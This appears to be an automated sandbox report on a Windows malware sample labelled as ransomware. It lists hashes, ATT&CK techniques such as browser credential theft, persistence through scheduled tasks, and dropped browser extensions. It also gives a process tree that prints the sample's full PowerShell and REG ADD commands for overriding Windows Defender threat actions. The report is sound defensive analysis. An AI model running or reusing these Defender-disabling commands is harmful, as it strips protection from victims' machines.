d2cad32f413ed5fae6d213e417a38868d0869363acc948006969804dc9bf7b50

Analysis

max time kernel
133s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/11/2024, 11:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
Size 6.5MB
Sample241108-nsa67a1jfz
SHA256 d2cad32f413ed5fae6d213e417a38868d0869363acc948006969804dc9bf7b50
MD5 a55922509828078e8979481c295b7046
SHA1 ff31b49a7d2fa4a56541d7fdd9c766f9c675918c
SHA512 8fb4ed09139cf480b490d08e082c0547355a8f1909cbc65962819c6256b4f617a40bcdc983a71c8043db8ea34a9cc6c85de23a2d73b3f059d2bee1b8568fb773
SSDEEP 196608:mr0od4VOUYp9oDOpXSd51yZMe9o57PvZuw:Ip47I9oDOZSVY3CDvg
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2416	powershell.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\bicihfnmkdnfelbedknblndigjejbgcc\3.2_0\manifest.json	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\nvzrazLpiDxpC\VIXugPP.dll	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\jTViJokpjbUn\vzwcARx.dll	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\vglSHQcWU\kkPoeBO.xml	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\nvzrazLpiDxpC\uktgugT.xml	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\JwPHlFeupXAU2\BBdOztyXXApGS.dll	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR\fWmvEQp.dll	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\JwPHlFeupXAU2\GoYFxyZ.xml	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{2977F6F9-D40C-4CCF-BA4C-7FFFC24B5013}.xpi	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{2977F6F9-D40C-4CCF-BA4C-7FFFC24B5013}.xpi	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\vglSHQcWU\BOtXAG.dll	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
File created	C:\Program Files (x86)\NoHJXwHWqoyIEvJkrtR\kQjLUJp.xml	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\loSIAiLAHvgLehk.job	schtasks.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3420	2244	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4112	schtasks.exe
4568	schtasks.exe
2012	schtasks.exe
1872	schtasks.exe
5096	schtasks.exe
1248	schtasks.exe
4592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
2384	powershell.exe
2384	powershell.exe
3516	powershell.exe
3516	powershell.exe
2416	powershell.EXE
2416	powershell.EXE
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	2416	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2244 wrote to memory of 2384	2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe	94
PID 2244 wrote to memory of 2384	2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe	94
PID 2244 wrote to memory of 2384	2244	2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe	94
PID 2384 wrote to memory of 4880	2384	powershell.exe	97
PID 2384 wrote to memory of 4880	2384	powershell.exe	97
PID 2384 wrote to memory of 4880	2384	powershell.exe	97
PID 4880 wrote to memory of 212	4880	cmd.exe	99
PID 4880 wrote to memory of 212	4880	cmd.exe	99
PID 4880 wrote to memory of 212	4880	cmd.exe	99
PID 2384 wrote to memory of 1724	2384	powershell.exe	100
PID 2384 wrote to memory of 1724	2384	powershell.exe	100
PID 2384 wrote to memory of 1724	2384	powershell.exe	100
PID 2384 wrote to memory of 1152	2384	powershell.exe	101
PID 2384 wrote to memory of 1152	2384	powershell.exe	101
PID 2384 wrote to memory of 1152	2384	powershell.exe	101
PID 2384 wrote to memory of 1012	2384	powershell.exe	102
PID 2384 wrote to memory of 1012	2384	powershell.exe	102
PID 2384 wrote to memory of 1012	2384	powershell.exe	102
PID 2384 wrote to memory of 3460	2384	powershell.exe	103
PID 2384 wrote to memory of 3460	2384	powershell.exe	103
PID 2384 wrote to memory of 3460	2384	powershell.exe	103
PID 2384 wrote to memory of 1580	2384	powershell.exe	104
PID 2384 wrote to memory of 1580	2384	powershell.exe	104
PID 2384 wrote to memory of 1580	2384	powershell.exe	104
PID 2384 wrote to memory of 1084	2384	powershell.exe	105
PID 2384 wrote to memory of 1084	2384	powershell.exe	105
PID 2384 wrote to memory of 1084	2384	powershell.exe	105
PID 2384 wrote to memory of 3808	2384	powershell.exe	106
PID 2384 wrote to memory of 3808	2384	powershell.exe	106
PID 2384 wrote to memory of 3808	2384	powershell.exe	106
PID 2384 wrote to memory of 1532	2384	powershell.exe	107
PID 2384 wrote to memory of 1532	2384	powershell.exe	107
PID 2384 wrote to memory of 1532	2384	powershell.exe	107
PID 2384 wrote to memory of 2548	2384	powershell.exe	108
PID 2384 wrote to memory of 2548	2384	powershell.exe	108
PID 2384 wrote to memory of 2548	2384	powershell.exe	108
PID 2384 wrote to memory of 1696	2384	powershell.exe	109
PID 2384 wrote to memory of 1696	2384	powershell.exe	109
PID 2384 wrote to memory of 1696	2384	powershell.exe	109
PID 2384 wrote to memory of 1704	2384	powershell.exe	110
PID 2384 wrote to memory of 1704	2384	powershell.exe	110
PID 2384 wrote to memory of 1704	2384	powershell.exe	110
PID 2384 wrote to memory of 1656	2384	powershell.exe	111
PID 2384 wrote to memory of 1656	2384	powershell.exe	111
PID 2384 wrote to memory of 1656	2384	powershell.exe	111
PID 2384 wrote to memory of 4696	2384	powershell.exe	112
PID 2384 wrote to memory of 4696	2384	powershell.exe	112
PID 2384 wrote to memory of 4696	2384	powershell.exe	112
PID 2384 wrote to memory of 4044	2384	powershell.exe	113
PID 2384 wrote to memory of 4044	2384	powershell.exe	113
PID 2384 wrote to memory of 4044	2384	powershell.exe	113
PID 2384 wrote to memory of 920	2384	powershell.exe	114
PID 2384 wrote to memory of 920	2384	powershell.exe	114
PID 2384 wrote to memory of 920	2384	powershell.exe	114
PID 2384 wrote to memory of 1836	2384	powershell.exe	115
PID 2384 wrote to memory of 1836	2384	powershell.exe	115
PID 2384 wrote to memory of 1836	2384	powershell.exe	115
PID 2384 wrote to memory of 736	2384	powershell.exe	116
PID 2384 wrote to memory of 736	2384	powershell.exe	116
PID 2384 wrote to memory of 736	2384	powershell.exe	116
PID 2384 wrote to memory of 3248	2384	powershell.exe	117
PID 2384 wrote to memory of 3248	2384	powershell.exe	117
PID 2384 wrote to memory of 3248	2384	powershell.exe	117
PID 2384 wrote to memory of 1292	2384	powershell.exe	118

C:\Users\Admin\AppData\Local\Temp\2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-08_a55922509828078e8979481c295b7046_bkransomware.exe"
1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3808
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:736
- - C:\Windows\SysWOW64\reg.exe
